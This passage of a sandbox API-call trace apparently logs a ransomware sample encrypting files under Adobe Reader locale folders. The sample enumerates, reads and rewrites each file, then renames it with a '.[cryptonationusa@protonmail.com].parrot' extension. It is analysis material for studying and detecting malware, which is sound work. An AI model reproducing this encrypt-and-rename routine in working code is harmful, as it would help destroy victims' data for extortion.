dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0250.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0250.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0250.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0250.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0250.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0250.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0250.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0250.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0250.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0250.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0250.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0250.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0250.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0250.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0250.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0250.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0250.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0250.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0250.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0250.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0250.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x329e548 [0250.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0250.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x32aa5c8 [0250.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0250.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x32aed18 [0250.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0250.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x32b57f8 [0250.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aed18 | out: hHeap=0x5b0000) returned 1 [0250.565] WriteFile (in: hFile=0x1b0, lpBuffer=0x32b5800*, nNumberOfBytesToWrite=0x6d28, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x32b5800*, lpNumberOfBytesWritten=0x18e8f4*=0x6d28, lpOverlapped=0x0) returned 1 [0250.568] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\WebLink.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\weblink.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\WebLink.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\weblink.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.570] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0250.571] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x215c5720, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x215c5720, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.571] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x20c66080, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0xa928, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CZE.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACCESS~1.PAR")) returned 1 [0250.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fd080 [0250.571] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0250.574] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0250.574] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.574] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0250.574] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0250.574] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DAN", cAlternateFileName="ACCESS~1.DAN")) returned 1 [0250.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605320 [0250.575] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.575] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.576] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.576] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa600, lpOverlapped=0x0) returned 1 [0250.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0250.578] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0250.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0250.579] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\accessibility.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\accessibility.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\accessibility.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\accessibility.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.586] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.586] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.587] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.587] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x64600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x64600, lpOverlapped=0x0) returned 1 [0250.602] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.664] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Acroform.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\acroform.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Acroform.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\acroform.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.672] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.672] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.677] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.677] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0250.678] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.679] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\AdobeCollabSync.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\adobecollabsync.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\AdobeCollabSync.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\adobecollabsync.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.685] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.685] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.688] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.689] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x76400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x76400, lpOverlapped=0x0) returned 1 [0250.712] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.732] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Annots.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\annots.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Annots.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\annots.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.741] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.742] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.743] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.743] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3400, lpOverlapped=0x0) returned 1 [0250.774] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.797] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\BRdlang32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\brdlang32.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\BRdlang32.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\brdlang32.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.851] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.853] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.855] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.855] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1de00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1de00, lpOverlapped=0x0) returned 1 [0250.860] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.863] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Checkers.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\checkers.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Checkers.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\checkers.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.906] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.906] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.908] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.908] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1f200, lpOverlapped=0x0) returned 1 [0250.910] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.911] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\DigSig.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\digsig.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\DigSig.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\digsig.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.916] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.917] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.918] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.918] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4a00, lpOverlapped=0x0) returned 1 [0250.919] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.919] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\DVA.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\dva.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\DVA.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\dva.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.924] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.924] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.925] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.926] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0250.927] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.927] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\eBook.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\ebook.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\eBook.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\ebook.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.931] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.931] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.932] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.932] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x9e00, lpOverlapped=0x0) returned 1 [0250.933] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.934] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\EScript.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\escript.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\EScript.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\escript.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.937] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.937] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.939] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.939] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xe00, lpOverlapped=0x0) returned 1 [0250.939] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.939] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\IA32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\ia32.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\IA32.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\ia32.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.954] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.965] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.966] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.967] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x12800, lpOverlapped=0x0) returned 1 [0250.968] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.969] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\makeaccessible.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\makeaccessible.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\makeaccessible.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\makeaccessible.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.975] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.975] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, 